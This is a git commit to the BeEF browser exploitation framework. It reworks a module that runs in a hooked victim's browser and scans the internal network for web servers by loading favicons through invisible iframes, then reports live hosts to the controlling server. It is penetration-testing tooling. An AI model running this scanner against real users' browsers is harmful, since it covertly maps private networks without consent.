Allow comma separated list of IPs and ranges as input

This commit is contained in:
Brendan Coles
2016-04-09 06:36:28 +00:00
parent fa1e32c046
commit 8cc5e8b236
6 changed files with 91 additions and 56 deletions

View File

@@ -14,7 +14,7 @@
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"rhosts":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",

View File

@@ -9,7 +9,7 @@
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"rhosts":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",

View File

@@ -293,7 +293,7 @@ ZombieTab_Network = function(zombie) {
commands_statusbar.update_sending('Favicon scanning commonly used local area network IP addresses for web servers [ports: '+ports+'] ...');
$jwterm.ajax({
contentType: 'application/json',
data: JSON.stringify({"ipRange":"common","ports":ports}),
data: JSON.stringify({"rhosts":"common","ports":ports}),
dataType: 'json',
type: 'POST',
url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token,
@@ -311,7 +311,7 @@ ZombieTab_Network = function(zombie) {
text: 'Specify IP Range',
iconCls: 'network-host-ctxMenu-config',
handler: function() {
var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254');
var ip_range = prompt("Enter IPs to scan:", '192.168.1.1-192.168.1.254');
if (!ip_range) {
commands_statusbar.update_fail('Cancelled');
return;
@@ -326,7 +326,7 @@ ZombieTab_Network = function(zombie) {
commands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for web servers...');
$jwterm.ajax({
contentType: 'application/json',
data: JSON.stringify({"ipRange":ip_range,"ports":ports}),
data: JSON.stringify({"rhosts":ip_range,"ports":ports}),
dataType: 'json',
type: 'POST',
url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token,
@@ -567,7 +567,7 @@ ZombieTab_Network = function(zombie) {
commands_statusbar.update_sending('Favicon scanning ' + ip + ' for HTTP servers [ports: '+ports+'] ...');
$jwterm.ajax({
contentType: 'application/json',
data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}),
data: JSON.stringify({"rhosts":ip,"ports":ports}),
dataType: 'json',
type: 'POST',
url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token,
@@ -738,7 +738,7 @@ ZombieTab_Network = function(zombie) {
commands_statusbar.update_sending('Favicon scanning ' + ip + ' for HTTP servers [ports: '+ports+'] ...');
$jwterm.ajax({
contentType: 'application/json',
data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}),
data: JSON.stringify({"rhosts":ip,"ports":ports}),
dataType: 'json',
type: 'POST',
url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token,
@@ -765,7 +765,7 @@ ZombieTab_Network = function(zombie) {
commands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for HTTP servers [ports: '+ports+'] ...');
$jwterm.ajax({
contentType: 'application/json',
data: JSON.stringify({"ipRange":ip_range,"ports":ports}),
data: JSON.stringify({"rhosts":ip_range,"ports":ports}),
dataType: 'json',
type: 'POST',
url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token,

View File

@@ -6,29 +6,62 @@
beef.execute(function() {
var ips = "<%= @rhosts %>";
var ports = "<%= @ports %>";
var timeout = parseInt("<%= @timeout %>", 10)*1000;
var wait = parseInt("<%= @wait %>", 10)*1000;
var threads = parseInt("<%= @threads %>", 10);
var urls = new Array('/favicon.ico', '/favicon.png', '/images/favicon.ico', '/images/favicon.png');
if(beef.browser.isO()) {
beef.debug("[command #<%= @command_id %>] Browser is not supported.");
beef.debug("[Favicon Scanner] Browser is not supported.");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
return;
}
var ips = new Array();
var proto = 'http';
var ipRange = "<%= @ipRange %>";
var ports = "<%= @ports %>";
var timeout = "<%= @timeout %>";
var wait = "<%= @wait %>";
var threads = "<%= @threads %>";
var urls = new Array('/favicon.ico', '/favicon.png', '/images/favicon.ico', '/images/favicon.png');
var sort_unique = function (arr) {
arr = arr.sort(function (a, b) { return a*1 - b*1; });
var ret = [arr[0]];
for (var i = 1; i < arr.length; i++) {
if (arr[i-1] !== arr[i]) {
ret.push(arr[i]);
}
}
return ret;
}
// set target ports
if (ports != null) {
ports = ports.split(',');
var is_valid_port = function(port) {
if (isNaN(port)) return false;
if (port > 65535 || port < 0) return false;
return true;
}
ports = ports.split(',');
var target_ports = new Array();
for (var i=0; i<ports.length; i++) {
var p = ports[i].replace(/(^\s+|\s+$)/g, '');
if (is_valid_port(p)) target_ports.push(p);
}
ports = sort_unique(target_ports);
if (ports.length == 0) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.are.status_error());
return;
}
// set target IP addresses
if (ipRange == 'common') {
// use default IPs
var is_valid_ip = function(ip) {
if (ip == null) return false;
var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (ip_match == null) return false;
return true;
}
var is_valid_ip_range = function(ip_range) {
if (ip_range == null) return false;
var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range_match == null || range_match[1] == null) return false;
return true;
}
if (ips == 'common') {
ips = [
'192.168.0.1',
'192.168.0.100',
@@ -45,27 +78,31 @@ beef.execute(function() {
'192.168.123.1',
'192.168.123.254',
'192.168.10.1',
'192.168.10.254'
];
'192.168.10.254' ];
} else {
// set target IP range
var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range == null || range[1] == null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());
return;
ips = ips.split(',');
var target_ips = new Array();
for (var i=0; i<ips.length; i++) {
var ip = ips[i].replace(/(^\s+|\s+$)/g, '');
if (is_valid_ip(ip)) target_ips.push(ip);
else if (is_valid_ip_range(ip)) {
ipBounds = ip.split('-');
lowerBound = ipBounds[0].split('.')[3];
upperBound = ipBounds[1].split('.')[3];
for (var i = lowerBound; i <= upperBound; i++) {
target_ips.push(ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i);
}
}
}
// ipRange will be in the form of 192.168.0.1-192.168.0.254
// the fourth octet will be iterated.
// (only C class IP ranges are supported atm)
ipBounds = ipRange.split('-');
lowerBound = ipBounds[0].split('.')[3];
upperBound = ipBounds[1].split('.')[3];
for (i=lowerBound;i<=upperBound;i++){
ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i;
ips.push(ipToTest);
ips = sort_unique(target_ips);
if (ips.length == 0) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.are.status_error());
return;
}
}
// request the specified paths from the specified URL
// and report all live URLs back to BeEF
checkFavicon = function(proto, ip, port, uri) {
var img = new Image;
var dom = beef.dom.createInvisibleIframe();
@@ -85,16 +122,15 @@ beef.execute(function() {
dom.contentWindow.document.execCommand("Stop", false);
}
document.body.removeChild(dom);
}, timeout*1000);
}, timeout);
}
WorkerQueue = function(frequency) {
// configure workers
WorkerQueue = function(id, frequency) {
var stack = [];
var timer = null;
var frequency = frequency;
var start_scan = (new Date).getTime();
this.process = function() {
var item = stack.shift();
eval(item);
@@ -102,33 +138,32 @@ beef.execute(function() {
clearInterval(timer);
timer = null;
var interval = (new Date).getTime() - start_scan;
beef.debug("[Favicon Scanner] Worker queue is complete ["+interval+" ms]");
beef.debug("[Favicon Scanner] Worker #"+id+" has finished ["+interval+" ms]");
return;
}
}
this.queue = function(item) {
stack.push(item);
if (timer === null) {
timer = setInterval(this.process, frequency);
}
if (timer === null) timer = setInterval(this.process, frequency);
}
}
// create worker queue
// create workers
var workers = new Array();
for (w=0; w < threads; w++) {
workers.push(new WorkerQueue(wait*1000));
}
for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, wait));
// for each favicon path
// for each favicon path:
for (var u=0; u < urls.length; u++) {
var worker = workers[u % threads];
// for each LAN IP address
// for each LAN IP address:
for (var i=0; i < ips.length; i++) {
// for each port:
for (var p=0; p < ports.length; p++) {
worker.queue('checkFavicon("'+proto+'","'+ips[i]+'","'+ports[p]+'","'+urls[u]+'");');
var host = ips[i];
var port = ports[p];
if (port == '443') var proto = 'https'; else var proto = 'http';
// add URL to worker queue
worker.queue('checkFavicon("'+proto+'","'+host+'","'+port+'","'+urls[u]+'");');
}
}
}

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Network"
name: "Get HTTP Servers (Favicon)"
description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses."
description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon.<br/><br/>Note: You can specify multiple remote IP addresses (separated by commas) or a range of IP addresses for a class C network (10.1.1.1-10.1.1.254). Set the IP address to 'common' to scan a list of common LAN addresses."
authors: ["bcoles"]
target:
user_notify: ["FF", "IE", "C", "S", "MI", "OD"]

View File

@@ -8,7 +8,7 @@ class Get_http_servers < BeEF::Core::Command
def self.options
return [
{'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'},
{'name' => 'rhosts', 'ui_label' => 'Remote IP(s)', 'value' => 'common'},
{'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080'},
{'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3'},
{'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '5'},